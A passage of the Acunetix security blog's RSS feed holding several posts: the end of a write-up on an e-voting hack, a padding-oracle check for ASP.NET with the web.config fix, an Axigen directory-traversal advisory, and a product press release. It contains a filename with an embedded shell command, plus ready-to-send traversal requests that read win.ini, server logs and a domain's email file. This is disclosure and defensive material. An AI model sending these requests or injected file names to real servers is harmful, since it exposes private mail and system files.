		<td class="column-1">ballot.$service proftpd start)pdf</td><td class="column-2">$ service proftpd start</td>
	</tr>
</tbody>
</table>

<div>Some would argue that the security flaw does not lie in the encrypt.rb module itself, but in the part of the website that allows a user to upload a file. When a file is uploaded, its content, and file name should not be trusted. It is, after all User Input, and must be validated, checked, filtered and probed for any types of ugly things before it is passed on to other modules.</div>
<div>Some security researches are very critical about this. Bogdan Calin, a web application security researcher from Acunetix clearly states this in his white paper <a href="http://www.acunetix.com/websitesecurity/upload-forms-threat.htm" target="_blank">Why File Upload Forms are a Threat</a>. In his words,</div>
<div>
<blockquote><p>“To allow an end user to upload files to your website, is like opening another door for a malicious user to compromise your server.”</p></blockquote>
</div>
<h1><span style="font-weight: normal;">Remedies</span></h1>
<p>One has to see the irony in this story. It was a security feature of the E-Voting Application (the encryption module) that led to it’s ultimate demise. The devloper of the system was doing a secure thing, but he did this insecurely. In my opinion it was a major design flaw in the first place to allow E-Voters to upload their own files, let alone, upload PDF files, a file format that has been recently plagued by numerous security scandals.</p>
<p>My advice to web application developers is to limit the instances that allow for users to upload files. Where this is not possible be sure to implement additional security measures. As a minimum, file names should be checked for malicious commands, they should also be scanned for viruses before being committed to the system. Files and file names are forms of user input and just like any user input or any external data your web application receives, it can never be trusted.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/internet-voting-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to check if your application is vulnerable to the ASP.NET Padding Oracle Vulnerability</title>
		<link>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/</link>
		<comments>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 10:04:31 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[asp.net]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[padding]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2271</guid>
		<description><![CDATA[ Everybody&#8217;s talking about the ASP.NET Padding Oracle vulnerability released a few days ago at the ekoparty Security Conference. However, until now there wasn&#8217;t enough information on how do you check if your application is ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/asp-net.png"><img class="alignleft size-full wp-image-2291" title="asp-net" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/asp-net.png" alt="" width="113" height="50" /></a> Everybody&#8217;s talking about the ASP.NET Padding Oracle vulnerability released a few days ago at the ekoparty Security Conference. However, until now there wasn&#8217;t enough information on how do you check if your application is vulnerable or not.</p>
<p>Yesterday, <a href="http://forums.asp.net/p/1604549/4090643.aspx" target="_blank">Duncan Smart from ASP.NET forums</a> published some very useful information that allows us to do that. An application is vulnerable to a padding oracle attack if it responds differently in the following three cases:</p>
<p><strong>1.</strong> When a valid ciphertext is received (one that is properly padded and contains valid data).<br />
<strong>2.</strong> When an invalid ciphertext is received (one that is not properly padded).<br />
<strong>3.</strong> When a valid ciphertext is received (properly padded) but the decrypted value is not valid for the application.</p>
<p>If you want to know more about padding oracles, a very good resource is <a href="http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/" target="_blank">Automated Padding Oracle Attacks with PadBuster</a>.</p>
<p><strong>How do we apply this to ASP.NET?</strong></p>
<p>The key to attacking ASP.NET is the file <strong>WebResource.axd</strong>. This file is also used in the exploit video released by Juliano Rizzo. This file can be used as a Padding Oracle because it responds differently in all three cases.</p>
<p>Here are the three cases.</p>
<p><strong>1. valid ciphertext</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=jzjghMVYzFihd9Uhe_arpA2</strong><br />
The response status is <strong>200 OK</strong> and the response body is the content of the web resource you&#8217;ve requested (some javascript code in my case).<br />
<a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_valid_data.png"><img class="aligncenter size-thumbnail wp-image-2275" title="no_workaround_valid_ciphertext_valid_data" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_valid_data-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>2. invalid ciphertext</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=acunetix</strong><br />
The response status is <strong>500 Internal Server Error</strong> and the response body is some error message.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_invalid_ciphertext.png"><img class="aligncenter size-thumbnail wp-image-2276" title="no_workaround_invalid_ciphertext" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_invalid_ciphertext-150x150.png" alt="" width="150" height="150" /></a></p>
<p><strong>3.valid ciphertext but invalid data</strong><br />
Make a request like <strong>http://website.com/application/WebResource.axd?d=</strong><br />
The response status is <strong>404 Not Found</strong> and the response body is some error message.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_invalid_data.png"><img class="aligncenter size-thumbnail wp-image-2277" title="no_workaround_valid_ciphertext_invalid_data" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/no_workaround_valid_ciphertext_invalid_data-150x150.png" alt="" width="150" height="150" /></a></p>
<p>This is the padding oracle that allows an attacker to exploit this vulnerability. If your application responds differently in all of these three cases, it&#8217;s vulnerable.</p>
<p>Very important: Setting <strong>CustomErrors </strong>to &#8220;<strong>On</strong>&#8221; or &#8220;<strong>RemoteOnly</strong>&#8221; (in web.config) doesn&#8217;t solve this problem because the padding oracle is still there (the error message displayed on the 500 error page is not important for this vulnerability).  Therefore, the only solution is the one presented by <a href="http://weblogs.asp.net/scottgu/archive/2010/09/18/important-asp-net-security-vulnerability.aspx" target="_blank">Scott Guthrie</a>.  Edit <strong>web.config</strong> to use redirectMode set to ResponseRewrite and defaultRedirect to an error page defined by you.</p>
<pre class="brush:xml">
<configuration>
   <system.web>
     <customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/error.aspx" />
   </system.web>
</configuration>
</pre>
<p>Once this workaround is applied, the application will return the same status code and response body in all three cases. If you are using  .NET Framework version 3.5 SP1 or 4.0, it&#8217;s even better.</p>
<blockquote><p>If you are using .NET Framework version 3.5 SP1 or 4.0, the workaround provides further protection by also helping to mitigate against potential timing analysis attacks.  The workaround uses the redirectMode=&#8221;ResponseRewrite&#8221; option in the customErrors feature, and introduces a random delay in the error page.  These approaches work together to make it more difficult for an attacker to deduce the type of error that occurred on the server by measuring the time it took to receive the error.</p></blockquote>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/workaround.png"><img class="aligncenter size-thumbnail wp-image-2280" title="workaround" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/workaround-150x150.png" alt="" width="150" height="150" /></a></p>
<p>Today we&#8217;ve released an update for Acunetix WVS that is automatically checks if your application is vulnerable or not to this ASP.NET vulnerability.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/acunetix_test_padding_oracle.png"><img class="aligncenter size-thumbnail wp-image-2284" title="acunetix_test_padding_oracle" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/acunetix_test_padding_oracle-150x150.png" alt="" width="150" height="150" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/check-application-vulnerable-asp-net-padding-oracle-vulnerability/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Directory Traversal in Axigen v7.4.1 running on Windows</title>
		<link>http://www.acunetix.com/blog/news/directory-traversal-axigen/</link>
		<comments>http://www.acunetix.com/blog/news/directory-traversal-axigen/#comments</comments>
		<pubDate>Tue, 14 Sep 2010 10:03:42 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[axigen]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2237</guid>
		<description><![CDATA[We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of Acunetix WVS v7 . In this blog post, we will look into the ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/axigen.png"><img class="alignleft size-full wp-image-2241" title="axigen" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/axigen.png" alt="" width="162" height="43" /></a>We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of <a href="http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/" target="_self">Acunetix WVS v7</a> . In this blog post, we will look into the details of a very serious web vulnerability discovered by Acunetix WVS in Axigen.</p>
<p><span id="more-2237"></span></p>
<blockquote><p>Axigen is an integrated email, calendaring &amp; collaboration platform, masterfully built on our unique Linux mail server technology, for increased speed &amp; security.</p></blockquote>
<p>Axigen Webmail version 7.4.1 is vulnerable to a directory traversal vulnerability. Only Axigen installations running on Windows platforms are affected. By URL encoding the <strong>&#8220;\&#8221;</strong> character to <strong>%5C</strong> it&#8217;s possible to bypass the directory traversal protection available in this application. Our scanner reported the following alert:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/alert.png"><img class="aligncenter size-thumbnail wp-image-2247" title="Acunetix WVS directory traversal alert" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/alert-150x150.png" alt="" width="150" height="150" /></a></p>
<p>By requesting the following URL (/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini) it&#8217;s possible to read the contents of file c:\windows\win.ini. Using this encoding trick it&#8217;s possible to traverse directories and see the contents of any file that is readable by the web server user.</p>
<p>Here is a sample HTTP request:</p>
<pre class="brush:text">GET http://192.168.0.222:80/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Cookie: webmailSession=0; cookieTest=cookiesEnabled; checkOverQuota=0; passwordExpireWarning=0
Host: 192.168.0.222:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)</pre>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/screenshot.png"><img class="aligncenter size-thumbnail wp-image-2242" title="Acunetix WVS HTTP Editor penetration testing tool" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/screenshot-150x150.png" alt="" width="150" height="150" /></a></p>
<p>While investigating this alert, I&#8217;ve discovered that this vulnerability is more serious than I initially expected. This is a very serious vulnerability because using information from the log files it&#8217;s possible to gather enough information to read the file containing all the emails from all the domains hosted on the server.</p>
<p>For, example, using an HTTP request like:</p>
<pre class="brush:text">GET /..%5c..%5c/log/everything.txt HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache</pre>
<p>you can access the log file. From here you get determine the domain name and using this information you can read the file containing all the emails from this domain:</p>
<pre class="brush:text">GET /..%5c..%5c/domains/localdomain/00.hsf HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache</pre>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/all_emails.png"><img class="aligncenter size-thumbnail wp-image-2248" title="all_emails" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/all_emails-150x150.png" alt="" width="150" height="150" /></a></p>
<p>This vulnerability was reported to the Axigen team on 22/7/2010 via the support system on their website and they were fixed in Axigen version 7.4.2.  If you are using Axigen, download the latest version from their website. The changelog is available <a href="http://www.axigen.com/press/product-releases/axigen-releases-version-742_74.html" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/directory-traversal-axigen/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Acunetix 7 makes web application security checking easier and more cost effective</title>
		<link>http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/</link>
		<comments>http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 06:55:50 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[releases]]></category>
		<category><![CDATA[acunetix 7]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[new features]]></category>
		<category><![CDATA[press release]]></category>
		<category><![CDATA[release]]></category>
		<category><![CDATA[scanning technology]]></category>
		<category><![CDATA[vulnerability verifying technique]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2038</guid>
		<description><![CDATA[New scanning engine with improved vulnerability detection AND verification makes finding and fixing security issues in web applications easier.
London, 1st September 2010 – Acunetix, a market leader in web application security scanning technology, today announced ...]]></description>
			<content:encoded><![CDATA[<p><em><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/08/v7.png"><img class="alignleft size-full wp-image-2042" title="Acunetix v7" src="http://www.acunetix.com/blog/wp-content/uploads/2010/08/v7.png" alt="" width="254" height="180" /></a>New scanning engine with improved vulnerability detection AND verification makes finding and fixing security issues in web applications easier.</em></p>
<p>London, 1st September 2010 – <a href="http://www.acunetix.com" target="_self">Acunetix</a>, a market leader in web application security scanning technology, today announced version 7 of its popular Web Vulnerability Scanner. With the new human like vulnerability verifying techniques, revolutionary scanning engine and support for a wider variety of web applications, Acunetix re-establishes its technology lead in web application security. Acunetix WVS Version 7 also features improved performance, less false positives and detection of a wide range of new web vulnerability types.</p>
<p><span id="more-2038"></span></p>
<p>“With Acunetix WVS v7 we focused on finding more vulnerabilities, reducing false positives, and on improving scanner performance,” said Robert Abela, Acunetix Technical Manager. “As a result, Acunetix 7 is now 300% faster, can reduce false positives up to 50% and detects new vulnerabilities such as stored directory traversal.  This helps businesses reduce the time and resources needed to secure their web applications significantly.”</p>
<p><strong>Unique vulnerability verifying technique reduces false positives</strong><br />
Acunetix v7 includes new advanced vulnerability verifying techniques which result in much less false positives, and thus saves time of security administrators trying to reproduce such situations.  Such accuracy is achieved by sending a number of test inputs to the web application, and depending on the response, Acunetix v7 will automatically determine which web vulnerability checks to launch against the web application.</p>
<p><strong>New faster scanning engine reduces time to scan a website by up to 300%</strong><br />
Acunetix WVS Version 7 includes a new fast multi-threaded scanner that can scan on more threads at a time and more efficiently. Scans that could take hours to complete now can be done in minutes, depending on website structure and web applications.</p>
<p><strong>Acunetix 7 reduces time needed to fix security vulnerabilities</strong><br />
When a web security threat is discovered, Acunetix WVS Version 7 presents the developers with a more precise and understandable technical and vulnerability remediation information, to help them fix the issue in a much shorter time.  To improve understanding, different variants of the vulnerability are gathered in one detailed vulnerability report. Acunetix v7 can also re-check a fix for a particular vulnerability, without having to rescan the entire website.</p>
<p><strong>Detect more web vulnerabilities</strong><br />
Thanks to the new revolutionary scanning engine and website crawler, Version 7 is able to find much more vulnerabilities than ever before.  The new site crawler’s in-depth analysis of the website presentation layer discovers more website parameters and inputs. Acunetix 7 is therefore capable of finding many more vulnerabilities in a larger variety of different web applications.</p>
<p><strong>Scan a wider range of web applications</strong><br />
Acunetix v7 is also able to crawl and scan a wider variety of web technologies. Support for Web 2.0 applications has been improved, and also session handling.  All of the advanced penetration testing tools have been rewritten to support Web 2.0 requests, such as JSON, XML and more.</p>
<p><strong>HTTP authentication</strong><br />
Acunetix WVS v7 now supports more than a single pair of HTTP credentials for the same host.  Thanks to the new HTTP authentication settings node, one can pre-define credentials per host, directory and even file.</p>
<p><strong>Easily create your own vulnerability checks</strong><br />
Acunetix v7 now has improved support for creating custom vulnerability checks. Vulnerability checks are written in JavaScript, the most popular scripting language with web developers, and can thus be easily adjusted or extended.  A scripting tool and SDK are also available to assist developers in <a href="http://www.acunetix.com/blog/docs/creating-vulnerability-checks/" target="_self">writing custom web vulnerability and security checks</a>.</p>
<p><strong>Lower cost subscription licenses</strong><br />
Subscription based licenses now also include the maintenance agreement and are thus significantly cheaper. In addition free support and free version upgrades are included.</p>
<p><strong>Other Features</strong></p>
<ul>
<li>New graphical scan status interface shows more information about a web scan in progress</li>
<li>Avoid the lengthy process of manually analyzing the code by specifying the label or tag instead of actual parameter name</li>
<li>Verify that AcuSensor Technology is correctly installed with a simple click of a button</li>
<li>During a scan, less bandwidth is consumed and less stress is put on the server thanks to improved network traffic handling</li>
<li>A number of new network security checks have been added and other ones improved.</li>
</ul>
<p><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-GB</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    